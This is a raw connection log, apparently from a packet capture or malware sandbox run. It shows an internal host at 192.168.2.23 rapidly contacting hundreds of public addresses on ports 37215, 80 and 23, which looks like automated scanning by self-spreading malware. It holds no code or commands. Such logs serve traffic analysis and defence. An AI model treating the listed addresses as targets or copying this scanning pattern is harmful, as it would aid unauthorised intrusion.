Dec 3, 2024 22:16:51.676647902 CET	37451	37215	192.168.2.23	197.201.12.175
Dec 3, 2024 22:16:51.676651001 CET	37451	37215	192.168.2.23	156.120.115.79
Dec 3, 2024 22:16:51.676657915 CET	37451	37215	192.168.2.23	197.180.14.225
Dec 3, 2024 22:16:51.676664114 CET	37451	37215	192.168.2.23	197.134.111.25
Dec 3, 2024 22:16:51.676664114 CET	37451	37215	192.168.2.23	156.33.65.150
Dec 3, 2024 22:16:51.676666021 CET	37451	37215	192.168.2.23	41.246.7.163
Dec 3, 2024 22:16:51.676667929 CET	37451	37215	192.168.2.23	197.31.230.122
Dec 3, 2024 22:16:51.676683903 CET	37451	37215	192.168.2.23	41.212.81.172
Dec 3, 2024 22:16:51.676683903 CET	37451	37215	192.168.2.23	156.110.172.4
Dec 3, 2024 22:16:51.676687956 CET	37451	37215	192.168.2.23	156.28.207.9
Dec 3, 2024 22:16:51.676687956 CET	37451	37215	192.168.2.23	41.100.32.240
Dec 3, 2024 22:16:51.676687956 CET	37451	37215	192.168.2.23	156.80.215.86
Dec 3, 2024 22:16:51.676687956 CET	37451	37215	192.168.2.23	197.12.11.103
Dec 3, 2024 22:16:51.676692009 CET	37451	37215	192.168.2.23	197.39.85.215
Dec 3, 2024 22:16:51.676696062 CET	37451	37215	192.168.2.23	197.168.97.75
Dec 3, 2024 22:16:51.676697969 CET	37451	37215	192.168.2.23	156.247.214.65
Dec 3, 2024 22:16:51.676703930 CET	37451	37215	192.168.2.23	156.48.195.184
Dec 3, 2024 22:16:51.676706076 CET	37451	37215	192.168.2.23	197.171.245.69
Dec 3, 2024 22:16:51.676712036 CET	37451	37215	192.168.2.23	197.51.199.62
Dec 3, 2024 22:16:51.676718950 CET	37451	37215	192.168.2.23	197.174.141.38
Dec 3, 2024 22:16:51.676723957 CET	37451	37215	192.168.2.23	41.69.152.68
Dec 3, 2024 22:16:51.676723957 CET	37451	37215	192.168.2.23	197.216.53.250
Dec 3, 2024 22:16:51.676723957 CET	37451	37215	192.168.2.23	41.131.194.157
Dec 3, 2024 22:16:51.676739931 CET	37451	37215	192.168.2.23	197.155.55.86
Dec 3, 2024 22:16:51.676745892 CET	37451	37215	192.168.2.23	197.181.75.20
Dec 3, 2024 22:16:51.676747084 CET	37451	37215	192.168.2.23	156.178.64.226
Dec 3, 2024 22:16:51.676748037 CET	37451	37215	192.168.2.23	197.68.13.37
Dec 3, 2024 22:16:51.676748991 CET	37451	37215	192.168.2.23	197.181.158.97
Dec 3, 2024 22:16:51.676749945 CET	37451	37215	192.168.2.23	41.16.196.3
Dec 3, 2024 22:16:51.676749945 CET	37451	37215	192.168.2.23	41.71.221.127
Dec 3, 2024 22:16:51.676757097 CET	37451	37215	192.168.2.23	41.46.121.134
Dec 3, 2024 22:16:51.676851988 CET	43208	80	192.168.2.23	193.238.40.164
Dec 3, 2024 22:16:51.677440882 CET	55072	37215	192.168.2.23	41.145.183.178
Dec 3, 2024 22:16:51.677954912 CET	59880	80	192.168.2.23	34.232.155.108
Dec 3, 2024 22:16:51.678786039 CET	34910	37215	192.168.2.23	197.85.75.36
Dec 3, 2024 22:16:51.679245949 CET	41380	80	192.168.2.23	152.45.45.238
Dec 3, 2024 22:16:51.680219889 CET	56048	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.680382967 CET	53396	80	192.168.2.23	148.72.231.18
Dec 3, 2024 22:16:51.681567907 CET	53260	37215	192.168.2.23	197.235.112.160
Dec 3, 2024 22:16:51.681663990 CET	56062	80	192.168.2.23	63.233.16.98
Dec 3, 2024 22:16:51.682635069 CET	36600	80	192.168.2.23	60.254.185.199
Dec 3, 2024 22:16:51.683183908 CET	44096	80	192.168.2.23	90.130.74.93
Dec 3, 2024 22:16:51.683739901 CET	41952	80	192.168.2.23	70.246.26.77
Dec 3, 2024 22:16:51.684287071 CET	47612	80	192.168.2.23	210.159.47.47
Dec 3, 2024 22:16:51.684838057 CET	80	34848	73.104.148.95	192.168.2.23
Dec 3, 2024 22:16:51.684868097 CET	39410	80	192.168.2.23	71.39.118.187
Dec 3, 2024 22:16:51.684880018 CET	80	35282	73.104.148.95	192.168.2.23
Dec 3, 2024 22:16:51.684936047 CET	35282	80	192.168.2.23	73.104.148.95
Dec 3, 2024 22:16:51.684999943 CET	80	54072	194.18.61.94	192.168.2.23
Dec 3, 2024 22:16:51.685415030 CET	39490	80	192.168.2.23	159.132.35.218
Dec 3, 2024 22:16:51.685590029 CET	80	55086	2.233.134.116	192.168.2.23
Dec 3, 2024 22:16:51.685954094 CET	50306	80	192.168.2.23	134.76.21.179
Dec 3, 2024 22:16:51.686172962 CET	80	49154	107.229.45.191	192.168.2.23
Dec 3, 2024 22:16:51.686507940 CET	55778	80	192.168.2.23	118.92.116.31
Dec 3, 2024 22:16:51.686781883 CET	80	40132	128.106.21.141	192.168.2.23
Dec 3, 2024 22:16:51.687061071 CET	47152	80	192.168.2.23	171.27.195.82
Dec 3, 2024 22:16:51.687187910 CET	80	44762	201.157.7.217	192.168.2.23
Dec 3, 2024 22:16:51.687413931 CET	80	45170	201.157.7.217	192.168.2.23
Dec 3, 2024 22:16:51.687453032 CET	45170	80	192.168.2.23	201.157.7.217
Dec 3, 2024 22:16:51.687619925 CET	56914	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.687767982 CET	80	55390	103.104.235.120	192.168.2.23
Dec 3, 2024 22:16:51.688206911 CET	36530	80	192.168.2.23	175.106.22.71
Dec 3, 2024 22:16:51.688240051 CET	80	41618	101.211.231.251	192.168.2.23
Dec 3, 2024 22:16:51.688746929 CET	33186	80	192.168.2.23	4.155.227.248
Dec 3, 2024 22:16:51.688808918 CET	80	56424	145.20.17.13	192.168.2.23
Dec 3, 2024 22:16:51.689310074 CET	47696	80	192.168.2.23	157.179.137.136
Dec 3, 2024 22:16:51.689325094 CET	80	33352	213.75.138.155	192.168.2.23
Dec 3, 2024 22:16:51.689838886 CET	41784	80	192.168.2.23	46.72.44.235
Dec 3, 2024 22:16:51.689899921 CET	80	45994	93.104.201.65	192.168.2.23
Dec 3, 2024 22:16:51.690395117 CET	37390	80	192.168.2.23	200.98.99.254
Dec 3, 2024 22:16:51.690419912 CET	80	36864	159.157.188.52	192.168.2.23
Dec 3, 2024 22:16:51.690928936 CET	56330	80	192.168.2.23	129.37.9.102
Dec 3, 2024 22:16:51.690980911 CET	80	51820	110.23.29.220	192.168.2.23
Dec 3, 2024 22:16:51.691500902 CET	37692	80	192.168.2.23	136.240.205.73
Dec 3, 2024 22:16:51.691530943 CET	80	48116	54.6.47.124	192.168.2.23
Dec 3, 2024 22:16:51.692049980 CET	44106	80	192.168.2.23	211.28.212.81
Dec 3, 2024 22:16:51.692110062 CET	80	41006	97.55.138.48	192.168.2.23
Dec 3, 2024 22:16:51.692598104 CET	59900	80	192.168.2.23	173.176.117.13
Dec 3, 2024 22:16:51.692677975 CET	80	60086	176.10.51.162	192.168.2.23
Dec 3, 2024 22:16:51.693159103 CET	48710	80	192.168.2.23	36.154.130.46
Dec 3, 2024 22:16:51.693705082 CET	44492	80	192.168.2.23	178.212.220.26
Dec 3, 2024 22:16:51.694247007 CET	55834	80	192.168.2.23	78.206.124.69
Dec 3, 2024 22:16:51.694811106 CET	39388	80	192.168.2.23	116.204.202.129
Dec 3, 2024 22:16:51.695360899 CET	45186	80	192.168.2.23	18.59.250.35
Dec 3, 2024 22:16:51.695914984 CET	59226	80	192.168.2.23	116.216.114.6
Dec 3, 2024 22:16:51.696438074 CET	42840	80	192.168.2.23	189.147.217.224
Dec 3, 2024 22:16:51.696990013 CET	45612	80	192.168.2.23	174.180.202.76
Dec 3, 2024 22:16:51.697519064 CET	39612	80	192.168.2.23	191.228.77.210
Dec 3, 2024 22:16:51.697927952 CET	35282	80	192.168.2.23	73.104.148.95
Dec 3, 2024 22:16:51.697943926 CET	45170	80	192.168.2.23	201.157.7.217
Dec 3, 2024 22:16:51.699618101 CET	39650	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:51.699625969 CET	33510	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:51.699625969 CET	42340	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:51.699641943 CET	57434	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:51.699642897 CET	39678	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:51.699647903 CET	53584	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:51.699651003 CET	56594	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:51.699656010 CET	38322	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:51.699780941 CET	80	40276	8.43.2.155	192.168.2.23
Dec 3, 2024 22:16:51.699820042 CET	80	33488	125.111.75.105	192.168.2.23
Dec 3, 2024 22:16:51.703499079 CET	80	34760	210.36.162.136	192.168.2.23
Dec 3, 2024 22:16:51.703553915 CET	80	37176	1.252.247.68	192.168.2.23
Dec 3, 2024 22:16:51.703563929 CET	80	34482	64.69.46.207	192.168.2.23
Dec 3, 2024 22:16:51.703572989 CET	80	60176	99.212.18.166	192.168.2.23
Dec 3, 2024 22:16:51.703597069 CET	80	44830	23.93.194.133	192.168.2.23
Dec 3, 2024 22:16:51.727516890 CET	80	44762	201.157.7.217	192.168.2.23
Dec 3, 2024 22:16:51.727691889 CET	80	54072	194.18.61.94	192.168.2.23
Dec 3, 2024 22:16:51.727696896 CET	80	40132	128.106.21.141	192.168.2.23
Dec 3, 2024 22:16:51.727701902 CET	80	49154	107.229.45.191	192.168.2.23
Dec 3, 2024 22:16:51.727705956 CET	80	34848	73.104.148.95	192.168.2.23
Dec 3, 2024 22:16:51.727710009 CET	80	55086	2.233.134.116	192.168.2.23
Dec 3, 2024 22:16:51.731673956 CET	80	51820	110.23.29.220	192.168.2.23
Dec 3, 2024 22:16:51.731719971 CET	80	36864	159.157.188.52	192.168.2.23
Dec 3, 2024 22:16:51.731729031 CET	80	45994	93.104.201.65	192.168.2.23
Dec 3, 2024 22:16:51.731748104 CET	80	33352	213.75.138.155	192.168.2.23
Dec 3, 2024 22:16:51.731756926 CET	80	56424	145.20.17.13	192.168.2.23
Dec 3, 2024 22:16:51.731775999 CET	80	41618	101.211.231.251	192.168.2.23
Dec 3, 2024 22:16:51.731786013 CET	80	55390	103.104.235.120	192.168.2.23
Dec 3, 2024 22:16:51.735501051 CET	80	60086	176.10.51.162	192.168.2.23
Dec 3, 2024 22:16:51.735574961 CET	80	41006	97.55.138.48	192.168.2.23
Dec 3, 2024 22:16:51.735584021 CET	80	48116	54.6.47.124	192.168.2.23
Dec 3, 2024 22:16:51.780016899 CET	80	53464	128.160.146.62	192.168.2.23
Dec 3, 2024 22:16:51.780181885 CET	80	40814	8.43.2.155	192.168.2.23
Dec 3, 2024 22:16:51.780225039 CET	53464	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.780225039 CET	53464	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.780225039 CET	53464	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.780230045 CET	40814	80	192.168.2.23	8.43.2.155
Dec 3, 2024 22:16:51.780550957 CET	53596	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.780575991 CET	80	49884	175.136.0.206	192.168.2.23
Dec 3, 2024 22:16:51.780625105 CET	49884	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.780927896 CET	49884	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.780927896 CET	49884	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.781106949 CET	80	51268	17.188.107.76	192.168.2.23
Dec 3, 2024 22:16:51.781156063 CET	51268	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.781181097 CET	50016	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.781517982 CET	51268	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.781517982 CET	51268	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.781747103 CET	51400	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.781764984 CET	80	47024	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:51.781807899 CET	47024	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.782078981 CET	47024	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.782078981 CET	47024	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.782324076 CET	47156	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.782839060 CET	80	48538	57.247.150.105	192.168.2.23
Dec 3, 2024 22:16:51.782886028 CET	48538	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.782917976 CET	48538	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.782918930 CET	48538	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.783149958 CET	48670	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.783338070 CET	80	55198	138.190.218.64	192.168.2.23
Dec 3, 2024 22:16:51.783375978 CET	55198	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.783508062 CET	55198	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.783508062 CET	55198	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.783756971 CET	55330	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.783905983 CET	80	44828	13.37.13.251	192.168.2.23
Dec 3, 2024 22:16:51.783957958 CET	44828	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.784075975 CET	44828	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.784075975 CET	44828	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.784306049 CET	44960	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.784457922 CET	80	55962	76.165.243.2	192.168.2.23
Dec 3, 2024 22:16:51.784502029 CET	55962	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.784656048 CET	55962	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.784656048 CET	55962	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.784926891 CET	56094	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.785037994 CET	80	41832	192.18.96.173	192.168.2.23
Dec 3, 2024 22:16:51.785072088 CET	41832	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:51.785281897 CET	41832	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:51.785281897 CET	41832	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:51.785518885 CET	41964	80	192.168.2.23	192.18.96.173
Dec 3, 2024 22:16:51.787200928 CET	80	38588	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:51.787241936 CET	38588	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.787276030 CET	38588	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.787276030 CET	38588	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.787520885 CET	38714	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.800137043 CET	37215	56048	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:51.800209045 CET	56048	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.800451040 CET	56048	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.800451040 CET	56048	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.800765991 CET	56132	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.807538033 CET	80	56914	46.96.134.251	192.168.2.23
Dec 3, 2024 22:16:51.807590008 CET	56914	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.807641029 CET	56914	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.807641029 CET	56914	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.807907104 CET	56974	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.818077087 CET	80	35282	73.104.148.95	192.168.2.23
Dec 3, 2024 22:16:51.818147898 CET	35282	80	192.168.2.23	73.104.148.95
Dec 3, 2024 22:16:51.818346024 CET	80	45170	201.157.7.217	192.168.2.23
Dec 3, 2024 22:16:51.818489075 CET	45170	80	192.168.2.23	201.157.7.217
Dec 3, 2024 22:16:51.819528103 CET	37215	39650	156.170.127.69	192.168.2.23
Dec 3, 2024 22:16:51.819574118 CET	39650	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:51.819600105 CET	39650	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:51.900317907 CET	80	53464	128.160.146.62	192.168.2.23
Dec 3, 2024 22:16:51.900407076 CET	80	53596	128.160.146.62	192.168.2.23
Dec 3, 2024 22:16:51.900522947 CET	53596	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.900710106 CET	53596	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:51.900980949 CET	80	49884	175.136.0.206	192.168.2.23
Dec 3, 2024 22:16:51.901205063 CET	80	50016	175.136.0.206	192.168.2.23
Dec 3, 2024 22:16:51.901271105 CET	50016	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.901289940 CET	50016	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:51.901447058 CET	80	51268	17.188.107.76	192.168.2.23
Dec 3, 2024 22:16:51.901725054 CET	80	51400	17.188.107.76	192.168.2.23
Dec 3, 2024 22:16:51.901784897 CET	51400	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.901784897 CET	51400	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:51.901936054 CET	80	47024	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:51.902179003 CET	80	47156	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:51.902225018 CET	47156	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.902250051 CET	47156	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:51.902760983 CET	80	48538	57.247.150.105	192.168.2.23
Dec 3, 2024 22:16:51.903060913 CET	80	48670	57.247.150.105	192.168.2.23
Dec 3, 2024 22:16:51.903111935 CET	48670	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.903121948 CET	48670	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:51.903351068 CET	80	55198	138.190.218.64	192.168.2.23
Dec 3, 2024 22:16:51.903682947 CET	80	55330	138.190.218.64	192.168.2.23
Dec 3, 2024 22:16:51.903728008 CET	55330	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.903760910 CET	55330	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:51.903983116 CET	80	44828	13.37.13.251	192.168.2.23
Dec 3, 2024 22:16:51.904154062 CET	80	44960	13.37.13.251	192.168.2.23
Dec 3, 2024 22:16:51.904195070 CET	44960	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.904218912 CET	44960	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:51.904577971 CET	80	55962	76.165.243.2	192.168.2.23
Dec 3, 2024 22:16:51.904822111 CET	80	56094	76.165.243.2	192.168.2.23
Dec 3, 2024 22:16:51.904882908 CET	56094	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.904882908 CET	56094	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:51.905157089 CET	80	41832	192.18.96.173	192.168.2.23
Dec 3, 2024 22:16:51.907218933 CET	80	38588	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:51.907366037 CET	80	38714	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:51.907413960 CET	38714	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.907424927 CET	38714	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:51.910068035 CET	80	50814	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:51.910119057 CET	50814	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:51.920358896 CET	37215	56048	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:51.920655012 CET	37215	56132	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:51.920855999 CET	56132	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.920855999 CET	56132	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:51.927526951 CET	80	56914	46.96.134.251	192.168.2.23
Dec 3, 2024 22:16:51.927762985 CET	80	56974	46.96.134.251	192.168.2.23
Dec 3, 2024 22:16:51.927809000 CET	56974	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.927830935 CET	56974	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:51.939873934 CET	37215	39650	156.170.127.69	192.168.2.23
Dec 3, 2024 22:16:51.939933062 CET	39650	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:51.943511009 CET	80	48538	57.247.150.105	192.168.2.23
Dec 3, 2024 22:16:51.943562984 CET	80	47024	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:51.943576097 CET	80	51268	17.188.107.76	192.168.2.23
Dec 3, 2024 22:16:51.943604946 CET	80	49884	175.136.0.206	192.168.2.23
Dec 3, 2024 22:16:51.943613052 CET	80	53464	128.160.146.62	192.168.2.23
Dec 3, 2024 22:16:51.947576046 CET	80	38588	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:51.947585106 CET	80	41832	192.18.96.173	192.168.2.23
Dec 3, 2024 22:16:51.947623968 CET	80	55962	76.165.243.2	192.168.2.23
Dec 3, 2024 22:16:51.947640896 CET	80	44828	13.37.13.251	192.168.2.23
Dec 3, 2024 22:16:51.947699070 CET	80	55198	138.190.218.64	192.168.2.23
Dec 3, 2024 22:16:51.953427076 CET	80	56390	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:51.953563929 CET	56390	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:51.963479042 CET	37215	56048	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:51.971518993 CET	80	56914	46.96.134.251	192.168.2.23
Dec 3, 2024 22:16:52.021894932 CET	80	53596	128.160.146.62	192.168.2.23
Dec 3, 2024 22:16:52.022064924 CET	53596	80	192.168.2.23	128.160.146.62
Dec 3, 2024 22:16:52.022308111 CET	80	50016	175.136.0.206	192.168.2.23
Dec 3, 2024 22:16:52.022362947 CET	50016	80	192.168.2.23	175.136.0.206
Dec 3, 2024 22:16:52.022679090 CET	80	51400	17.188.107.76	192.168.2.23
Dec 3, 2024 22:16:52.022721052 CET	51400	80	192.168.2.23	17.188.107.76
Dec 3, 2024 22:16:52.022921085 CET	80	47156	58.233.196.220	192.168.2.23
Dec 3, 2024 22:16:52.022964954 CET	47156	80	192.168.2.23	58.233.196.220
Dec 3, 2024 22:16:52.023726940 CET	80	48670	57.247.150.105	192.168.2.23
Dec 3, 2024 22:16:52.023765087 CET	48670	80	192.168.2.23	57.247.150.105
Dec 3, 2024 22:16:52.024635077 CET	80	55330	138.190.218.64	192.168.2.23
Dec 3, 2024 22:16:52.024673939 CET	55330	80	192.168.2.23	138.190.218.64
Dec 3, 2024 22:16:52.024801016 CET	80	44960	13.37.13.251	192.168.2.23
Dec 3, 2024 22:16:52.024841070 CET	44960	80	192.168.2.23	13.37.13.251
Dec 3, 2024 22:16:52.025206089 CET	80	56094	76.165.243.2	192.168.2.23
Dec 3, 2024 22:16:52.025250912 CET	56094	80	192.168.2.23	76.165.243.2
Dec 3, 2024 22:16:52.027494907 CET	80	38714	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:52.028239965 CET	80	38714	143.95.246.74	192.168.2.23
Dec 3, 2024 22:16:52.028285980 CET	38714	80	192.168.2.23	143.95.246.74
Dec 3, 2024 22:16:52.041316032 CET	37215	56132	197.105.173.170	192.168.2.23
Dec 3, 2024 22:16:52.041472912 CET	56132	37215	192.168.2.23	197.105.173.170
Dec 3, 2024 22:16:52.048516035 CET	80	56974	46.96.134.251	192.168.2.23
Dec 3, 2024 22:16:52.048559904 CET	56974	80	192.168.2.23	46.96.134.251
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	119.248.138.88
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	176.187.240.29
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	18.166.84.137
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	78.223.142.243
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	108.129.76.78
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	81.172.183.245
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	200.116.50.119
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	128.36.0.246
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	83.215.41.110
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	160.124.161.81
Dec 3, 2024 22:16:52.552947044 CET	37963	23	192.168.2.23	220.137.33.141
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	91.118.137.54
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	219.77.204.63
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	192.25.23.39
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	52.15.39.3
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	173.37.39.99
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	47.59.151.21
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	86.234.151.224
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	201.165.107.37
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	126.154.61.181
Dec 3, 2024 22:16:52.552947044 CET	37963	23	192.168.2.23	222.66.128.33
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	36.37.61.208
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	20.214.51.56
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	140.131.79.25
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	46.88.119.141
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	181.54.122.45
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	206.248.212.213
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	106.4.213.78
Dec 3, 2024 22:16:52.552947044 CET	37963	23	192.168.2.23	148.238.61.42
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	44.163.11.49
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	35.88.229.114
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	134.250.6.195
Dec 3, 2024 22:16:52.552947044 CET	37963	23	192.168.2.23	27.99.198.176
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	125.198.119.137
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	27.11.32.42
Dec 3, 2024 22:16:52.552947044 CET	37963	23	192.168.2.23	141.229.69.147
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	210.181.52.64
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	146.101.214.214
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	47.245.88.214
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	131.31.96.254
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	128.145.38.178
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	64.11.170.56
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	128.170.212.160
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	32.86.95.170
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	220.222.140.117
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	105.214.56.106
Dec 3, 2024 22:16:52.552944899 CET	37963	23	192.168.2.23	108.171.207.235
Dec 3, 2024 22:16:52.552942991 CET	37963	23	192.168.2.23	150.18.145.249
Dec 3, 2024 22:16:52.552944899 CET	37963	23	192.168.2.23	18.140.103.128
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	125.58.56.9
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	190.94.219.204
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	183.154.176.242
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	110.109.143.181
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	97.36.157.227
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	223.114.24.97
Dec 3, 2024 22:16:52.552943945 CET	37963	23	192.168.2.23	9.43.166.168
Dec 3, 2024 22:16:52.552946091 CET	37963	23	192.168.2.23	135.151.127.30
Dec 3, 2024 22:16:52.553095102 CET	37963	23	192.168.2.23	116.118.68.11
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	4.47.253.57
Dec 3, 2024 22:16:52.553095102 CET	37963	23	192.168.2.23	1.174.197.85
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	19.115.211.111
Dec 3, 2024 22:16:52.553095102 CET	37963	23	192.168.2.23	164.75.156.253
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	163.76.83.235
